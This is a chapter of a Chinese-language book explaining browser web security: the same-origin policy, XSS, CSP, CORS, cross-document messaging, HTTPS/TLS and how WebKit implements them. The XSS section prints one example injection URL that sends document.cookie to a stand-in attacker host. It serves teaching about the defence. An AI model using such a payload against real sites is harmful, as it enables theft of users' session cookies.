第12章 安全机制
安全机制对于浏览器和渲染引擎来说至关重要。一个不考虑安全机制的HTML5规范体系肯定不会受到广泛地使用,同时一个不安全的浏览器也不会得到广大用户的青睐。本章介绍的安全机制分成两个不同的部分,第一个部分是网页的安全,包括但是不限于网页数据安全传输、跨域访问、用户数据安全等。第二个部分是浏览器的安全,具体是指虽然网页或者JavaScript代码有一些安全问题或者存在安全漏洞,浏览器也能够在运行它们的时候保证自身的安全,不受到攻击从而泄露数据或者使系统遭受破坏。
1 网页安全模型
1.1 安全模型基础
当用户访问网页的时候,浏览器需要确保该网页中数据的安全性,如Cookie、用户名和密码等信息不会被其他的恶意网页所获取。HTML5定义了一系列安全机制来保证网页浏览的安全性,这构成了网页的安全模型。下面从一个基础概念入手来介绍这一模型。
1.1.1 域
在安全模型的定义中,域(Origin)这个概念是非常重要的,它表示的是网页所在的域名、传输协议和端口(Port)等信息,域是表明网页身份的重要标识。例如一个网页"http://blog.csdn.net/milado_nju",那么它的域是"http://blog.csdn.net",其中"http:"是协议(Protocol),"blog.csdn.net"是域名(Domain),而端口是默认的80。读者打开Chrome浏览器的开发者工具和控制台,输入"window.location",就可以看到如图12-1所示关于域的各种信息。
图12-1 网页"http://blog.csdn.net/milado_nju"的"window.location"信息
根据安全模型的定义,不同域中网页间的资源访问是受到严格限制的,也就是网页的DOM对象、个人数据、XMLHttpRequest等需要受到控制,默认情况下,不同网页间的这些数据是被浏览器隔离的,不能互相访问,这就是HTML的"Same origin Policy"策略。示例代码12-1是一个访问不同域网页的代码示例。
该段代码是一个简单的跨域访问的例子,首先这个网页是工作在本地、由笔者搭建的一个简单http服务器之上,这里大家姑且认为这个服务器的域是"http://myweb.com:80"。网页的JavaScript代码试图访问一个"iframe"元素中的对象,也就是"aFrame.contentWindow.document"。在Chrome浏览器中,当执行到代码"console.log(contentWin.document);"的时候,会出现如下的错误,读者可以在控制台中找到这些信息。
Uncaught SecurityError: Blocked a frame with origin "http://myweb.com" from accessing a frame with origin "http://blog.csdn.net". Protocols, domains, and ports must match.
这段错误信息的含义是,一个在域"http://myweb.com"网页中的JavaScript代码,试图访问"http://blog.csdn.net"域中网页的对象,这是不被允许的。唯一允许的条件(后面有其他机制也可以辅助实现跨域资源共享)是这两个网页在同一域中,根据规范的定义,当且仅当它们的协议、域名和端口号都相同的情况下,浏览器才会允许它们之间互相访问。
示例代码12-1 跨域访问对象的简单代码
<html> <body>
<div>Cross origin 示例</div>
<iframe id="aframe" src="http://blog.csdn.net/milado_nju"></iframe>
<script type="text/javascript">
window.onload = function () {
var aFrame= document.getElementById("aframe");
var contentWin = aFrame.contentWindow;
console.log(contentWin.document);
}
</script>
</body>
</html>
为什么要做这些限制呢?因为不同域之间的安全非常重要,信息很容易泄露,跨域(Cross Origin)的攻击是网页安全最主要的问题之一。
1.1.2 XSS
读者可以回忆一下,在第5章的HTML解释器中,笔者介绍过解释HTML构建DOM的过程中,WebKit使用一个叫做XSSAuditor的类来做安全方面的检查,它的作用是防止XSS攻击,那么什么是XSS呢?
XSS的全称是Cross Site Scripting,其含义是执行跨域的JavaScript脚本代码。执行脚本这本身没什么问题。但是,由于执行其他域的脚本代码可能存在严重的危害,还有可能会盗取当前域中的各种数据。举个例子,假如用户不小心单击如下的链接"http://myweb.com/?\<script>window.open("http://hac.ker.com/?secret=document.cookie")\</script\>"。如果该网页中存在漏洞,这段网址的输入可能变成了代码被注入网页中,那么该网页的信息将会被传输到另外一个域中去,其中主要的原因是浏览器将用户的数据变成了可以执行的代码,解决上面问题的一个典型方法就是不信任任何来自用户输入的数据。对于上面的例子,可以使用字符转换,因为"<>"等字符在HTML中有特殊的含义,表示的是元素,所以开发者将用户输入的数据进行字符转换,那就是将"\<"转换成"\<","\>"转换成"\>"等,这样浏览器就不会将它们作为代码来执行。
上面的攻击只是网页地址攻击类型的一个例子,通过各种方式和手段,攻击者可能利用网页的漏洞来获取信息,更多的例子读者可以参考如网页"https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet"中所列举出的各种各样的攻击,其危害确实很大。
如果所有的威胁都要网页开发者想方设法来避免,这显然是不现实的,因为很难让所有开发者都注意到这些攻击行为,而且攻击也在不停地演变。因此,在HTML5规范之前,跨域的资源共享是不被允许的,既然没有能力分辨是否是攻击,那就阻止它,这多少有点因噎废食的感觉。为此,标准组织和WebKit使用了大量的技术来避免各种攻击的发生。例如,在HTTP消息头中定义了一个名为"X-XSS-Protection"的字段,此时,浏览器会打开防止XSS攻击的过滤器,目前主要的浏览器都支持该技术,下面详细介绍这些相关的技术。
1.1.3 CSP
Content Security Policy是一种防止XSS攻击的技术,它使用HTTP消息头来指定网站(或者网页)能够标注哪些域中的哪些类型的资源被允许加载在该域的网页中,包括JavaScript、CSS、HTML Frames、字体、图片和嵌入对象(如插件、Java Applet等)。
在HTTP消息头(如果读者不熟悉的话,建议查阅HTTP消息头规范)中,可以使用相应的字段来控制这些域和资源的访问,其主要是服务器返回的HTTP消息头。目前,不同浏览器中使用不同的字段名来表示,主要包含三种名称:Content-Security-Policy(由标准组织定义,目前最新的Chrome和Firefox版本都支持它)、X-WebKit-CSP(实验性的字段名,由Chrome和其他基于WebKit的浏览器使用)和X-Content-Security-Policy(Firefox所使用)。该字段的定义格式如下所示。
字段名:指令名(directive)指令值;指令名 指令值;......
所以该字段就是包含一个字段名及一系列的"指令名+指令值"对的列表。其中指令名及其含义如表12-1所示,共包括11种类型的指令来控制网页中的各种资源和安全行为。
表12-1 CSP的指令名和功能
|-------------|---------------------------------------------------------------------------------------------------------|
| 指令名 | 含义 |
| default-src | 控制所有资源,如果已经包含该指定资源的指令,那么default-src优先级较低。如果没有包含该指定的指令,那么使用default-src指令定义的内容 |
| script-src | 用于控制JavaScript代码 |
| style-src | 用于控制CSS样式表 |
| img-src | 用于控制图片资源 |
| connect-src | 用于控制XMLHttpRequest、WebSocket等同连接相关 |
| font-src | 用于控制字体资源 |
| object-src | 用于控制"embed"、"object"、"applet"等元素加载的资源 |
| media-src | 用于控制多媒体资源,包括音频和视频 |
| frame-src | 用于控制可以加载的框 |
| sandbox | 用于控制网页中是否允许弹出对话框,插件和脚本的执行等,值可能是"allow-forms"、"allow-same-origin"、"allow-scripts"、"allow-top-navigation" |
| report-uri | 将错误信息发送到指定的URI |
下面以网页"http://content-security-policy.com/"为例来说明CSP的具体表示形式。图12-2是使用Chrome浏览器浏览该网页所获取的从服务器返回的HTTP消息头,图中包括两个字段,分别是"X-Content-Security-Policy"和"X-WebKit-CSP",它们的值相同,其原因主要是为了兼容各种浏览器。
图12-2 网页"http://content-security-policy.com/"返回的HTTP消息头
下面以"X-Content-Security-Policy"为例进行说明,它定义了default-src,该字段表明如果没有具体资源类型的定义,它允许自身的域(Self)、"www.google-analytics.com"、"netdna.bootstrapcdn.com"和"ajax.googleapis.com"。而"object-src"等四个指令不能加载任何插件、音视频资源、连接等。
为了说明浏览器的支持情况,该网页和网站特地访问了一些违反上面定义的策略以便于理解。下面是该网页运行在Chrome时报告的错误之一,这是故意演示CSP功能的结果。
Refused to load the stylesheet 'http://fonts.googleapis.com/css?family=Ubuntu' because it violates the following Content Security Policy directive: "default-src 'self' www.google-analytics.com netdna.bootstrapcdn.com ajax.googleapis.com". Note that 'style-src' was not explicitly set, so 'default-src' is used as a fallback.
这段错误消息的含义是一个样式资源被阻止。WebKit处理的过程是这样的,首先查找是否定义了"style-src"指令,如图12-2中所示,CSP并没有定义该指令,所以使用"default-src"定义的策略,但是,该指令中并没有允许该域中的资源,所以它被Chrome浏览器拒绝。
1.1.4 CORS
根据"Same Origin Policy"原则,浏览器做了很多的限制以阻止跨域的访问,所以跨域的资源共享又变成了一个问题。标准组织为了适应现实的需要,制定了CORS(Cross Origin Resource Sharing)规范,也就是跨域资源共享,该规范也是借助于HTTP消息头并通过定义了一些字段来实现的,主要是定义不同域之间交互数据的方式。
当某个网页希望访问其他域资源的时候,就需要按照CORS定义的标准从一个域访问另外一个域的数据。比如一个网站http://myweb.com希望使用http://blog.csdn.net上的数据,这时就需要用到CORS。
CORS使用HTTP消息头来描述规范定义的内容。在描述使用CORS的HTTP消息头之前,先解释一下什么叫简单的HTTP消息头,HTTP消息头是指包含有限个字段(如Accept、Accept-language等)并且请求类型只是HEAD、GET和POST。通常简单的HTTP消息头只需要较小的代价,而包含了CORS的消息头却不是简单的HTTP消息头,该消息请求在CROS里面被称为"Preflight"消息请求。
CORS使用到的字段名和功能如表12-2所示,其类型可以分成请求端和响应端两种。如果每个HTTP消息头都要包含这些字段,那么绝对是一种浪费,因为没有必要每个HTTP消息头都重复包含这些类型,为此,就会使用到"Preflight"请求来发送包含CORS字段的消息,而其他则是简单的HTTP消息头。图中的Access-Control-Max-Age则是表示Prefight请求的有效期,在有效期内不需要重复发送CORS定义字段的消息。
表12-2 CROS规范定义的字段名
|----------------------------------|-----|------------------------------------------------------|
| 字段名 | 类型 | 含义 |
| Origin | 请求端 | 请求端申明该请求来源于哪个域 |
| Access-Control-Request-Method | 请求端 | 请求端的HTTP请求类型,如PUT、GET、HEAD等 |
| Access-Control-Request-Headers | 请求端 | 一个以","为分隔符的列表,表项是自定义请求的字段 |
| Access-Control-Allow-Origin | 响应端 | 表明响应端允许的域,可以指定特定的域,也可以使用"*"表示允许所有的域请求 |
| Access-Control-Allow-Credentials | 响应端 | 认情况Cookie之类的信息是不能够共享的,但是如果设置该字段为真,那么Cookie是可以传输给请求端的 |
| Access-Control-Expose-Headers | 响应端 | 否暴露回复消息给XHR,以便XHR能够读取响应消息的内容 |
| Access-Control-Max-Age | 响应端 | Prelight请求的有效时间 |
| Access-Control-Allow-Methods | 响应端 | 应端允许的HTTP请求类型,如前面所述的PUT、GET、HEAD等 |
| Access-Control-Allow-Headers | 响应端 | 响应端支持的自定义字段 |
图12-3是使用CORS规范的请求消息头和响应消息头,左侧是请求端的消息,右侧是响应端的消息,基本上就是使用上面的定义,很直观并易于理解。
图12-3 使用CORS技术的HTTP消息头
值得注意的是,读者不要把CORS和CSP混淆,它们规定的是不同领域的标准,处理的是不同的事情。其主要的区别在于,CSP定义的是网页自身能够访问的某些域和资源,而CORS定义的是一个网页如何才能访问被同源策略禁止的跨域资源,规定了两者交互的协议和方式。
1.1.5 Cross Document Messaging
到目前为止,通过JavaScript直接访问其他域网页的DOM结构问题还是没得到解决,根据安全要求,如果直接访问且不受限,似乎不是一个行之有效的办法。标准组织的解决之道是引入一个消息传递机制,这就是Cross Document Messaging。
Cross Document Messaging定义的是通过window.postMessage接口让JavaScript在不同域的文档中传递消息成为可能,示例代码12-2在示例代码12-1之后,演示了如何使用该技术来传递消息。
示例代码12-2 使用Cross Document Messaging技术来跨域文档传输消息
http://myweb.com中JavaScript代码:
contentWin.postMessage(‘Hello’, ‘http://blog.csdn.net’);
http://blog.csdn.net/milado_nju网页中JavaScript代码(假如可以的话):
window.addEventListener('message', function receiver(e) {
if (e.origin == 'http://myweb.com') {
if (e.data == 'Hello') {
e.source.postMessage('Hello2', e.origin);
} else {
alert(e.data);
}
}
}, false);
这的确没有什么深奥的地方,该机制使用"window"对象的postMessage方法来传递给其他域网页消息,该方法包含两个参数,第一个是消息内容,第二个是需要对方的域信息。而在接收方,开发者在JavaScript代码中注册一个消息响应函数,如示例代码12-2所示,如果检查出消息来自于"http://myweb.com",那么就回复一个"hello2"消息,原理非常简单。
1.1.6 安全传输协议
对于用户而言,网页的安全还包含一个重要点,那就是用户和服务器之间交互数据的安全性问题。对于一般的网页而言,这些数据的传输都是使用明文方式,也就是说它们对谁都是可见的,这能够满足大多数的使用情况。但是,对于隐私的数据,如密码、银行账号信息等,如果使用明文来传输,那是非常危险的。为此,Web引入了安全的数据传输协议,这就是HTTPS。
HTTPS是在HTTP协议之上使用SSL(Secure Socket Layer)技术来对传输的数据进行加密,从而保证了数据的安全性。SSL协议是构建在TCP协议之上、应用层协议HTTP之下的。SSL工作的主要流程是先进行服务器认证(认证服务器是安全可靠的),然后是用户认证。SSL协议主要是服务提供商对用户信息保密的承诺,这有利于提供商而不利于消费者。同时SSL还存在一些问题,例如,只能提供交易中客户与服务器间的双方认证,在涉及多方的电子交易中,SSL协议并不能协调各方间的安全传输和信任关系。
TLS(Transport Layer Security)是在SSL3.0基础之上发展起来的,它使用了新的加密算法,所以它同HTTPS之间并不兼容。TLS用于两个通信应用程序之间,提供保密性和数据完整性,该协议是由两层子协议组成的,包括TLS记录协议(TLS Record)和TLS握手协议(TLS Handshake)。较低的层为TLS记录协议,位于TCP协议之上。
TLS记录协议用于封装各种高层协议。作为这种封装协议之一的握手协议允许服务器与客户机在应用程序协议传输和接收其第一个数据字节前彼此认证,协商加密算法和加密密钥。
TLS握手协议具有三个属性。其一是可以使用非对称的密码术来认证对等方的身份。其二是共享加密密钥的协商是安全的。对偷窃者来说协商加密是难以获得的。此外经过认证的连接不能获得加密,即使是进入连接中间的攻击者也不能。其三是协商是可靠的。如果没有经过通信方成员的检测,任何攻击者都不能修改通信协商。
TLS独立于高层协议,如HTTP协议。高层协议如HTTP协议可以透明地分布在TLS协议上面。然而,TLS标准并没有规定应用程序如何在TLS上增加安全性,它把如何启动TLS握手协议及如何解释交换的认证证书的决定权留给协议的设计者和实施者来判断。
读者可以自己回想一下经常使用的网页,如果涉及到密码和银行账户信息,但是协议却不是HTTPS的话,就要小心了,因为可能你的所有信息都暴露在大庭广众之下,盗窃者随时能够轻易地获取这些信息,现在就去检查吧。
1.2 WebKit的实现
上面一次性介绍了域的概念、XSS、CSP规范和CORS规范等HTML5为了保证网页安全性引入的一系列技术。这些新技术未必在所有的渲染引擎中得到支持,但是WebKit已经提供了对它们的支持,下面将一一介绍。
首先是WebKit为了防止XSS攻击所做的努力。图12-4是WebKit中启动XSS过滤功能所使用的相关基础设施。为了防止XSS攻击,需要在解释HTML的过程中进行XSS过滤,也就是对词法分析器分析之后的词语(Token)进行过滤,以发现潜在的问题。
图12-4 WebKit中XSS过滤功能的相关类及其关系
基本的工作过程是这样的,在HTMLDocumentParser类解释出一个词语之后,如果需要进行XSS过滤功能(这是默认打开的,当然也可以强制关闭),则每一个词语使用HTMLDocumentParser类的XSSAuditor对象来进行过滤,也就是图中的XSSAuditor::filterToken函数,对于每一个词语,该函数进行过滤并生成相应的结果XSSInfo对象,该对象包含是否需要阻止整个页面渲染等信息。XSSAuditor不做决定,而是由HTMLDocumentParser将这些信息交给XSSAuditorDelegate类来处理,再根据这些信息来生成报告,XSSAuditorDelegate将结果报告发送给"report-uri",前面提到过该字段"report-uri"。
那么filterToken中具体做什么事情呢?XSS有很多种攻击的类型,这里主要包括对于元素开始和结束及其属性的检查,同时对于一些特定类型的词语进行过滤,包括input、form、button,iframe、script等。当发现潜在危险的时候,再生成相应的结果信息也就是XSSInfo对象。
其次是CSP方面的支持。图12-5是WebKit支持CSP所定义的相关基础设施,同时包括Origin的定义。其中,对于CSP支持的主要部分是ContentSecurityPolicy和SecurityContext这两个类。
图12-5 WebKit的Origin定义和支持CSP的基础设施
- ContentSecurityPoIicy :主要包括对于规范中定义的各个字段的解释和解释后内容的保存,如图中的didReceiveHeader函数就是处理服务器端的HTTP消息头。该类将指令和指令的内容保存在"m_policies"中,形成一个列表。
- SecurityContext :支持安全机制的上下文类,包含了Origin对象和ContentSecurityPolicy对象,其他对CSP等的调用都是通过该类来获取的。
下面看图12-5中最下部分,又是两个类WebSecurityOrigin和WebSecurityPolicy,这是WebKit的Chromium移植定义的两个接口类,可以被Chromium调用。它们都有内部的实现,具体分别是SecurityOrigin和SecurityPolicy。SecurityOrigin就是规范中对于Origin的定义。而SecurityPolicy就是对CSP策略的定义,通过WebSecurityPolicy接口,Chromium可以自定义一些策略并设置到WebKit中。
图12-5中间部分虽然类比较多,但并不是很复杂。相信大家对Document类非常熟悉了,它间接地继承了SecurityContext(略过图中的ScriptExecutionContext类,对于介绍安全机制没有什么帮助),自然Document也继承了CSP的设置,因为Document会在各处被使用,所以这样很方便调用CSP的功能。DOMSecurityPolicy是为了将CSP的信息暴露到JavaScript代码中,这样JavaScript代码可以获取CSP定义的内容,如"script-src"指令所定义的允许访问的域。ResourceFetcher是获取资源的类,根据CSP的定义,对于各种类型的资源,在获取之前都需要检查该资源是否在CSP定义的允许范围内,如果不在,则拒绝请求,并报告错误。如果在,则发起请求,该请求需要依赖SecurityPolicy提供的一些信息。如此,CSP规范所定义的功能就被完整支持了。
最后是CORS的支持,图12-6是WebKit支持CORS所涉及的一些类。其中最主要的是CrossOriginAccessControl部分。它不是一个类,里面只是包含了一组全局函数,用来帮助生成符合CORS规范的"Preflight"请求或者其他简单请求,同时包括处理来自回复端的消息。在WebKit使用WebURLLoader请求的时候,使用这些方法就能够生成相应的请求。
图12-6 WebKit支持CORS规范的基础设施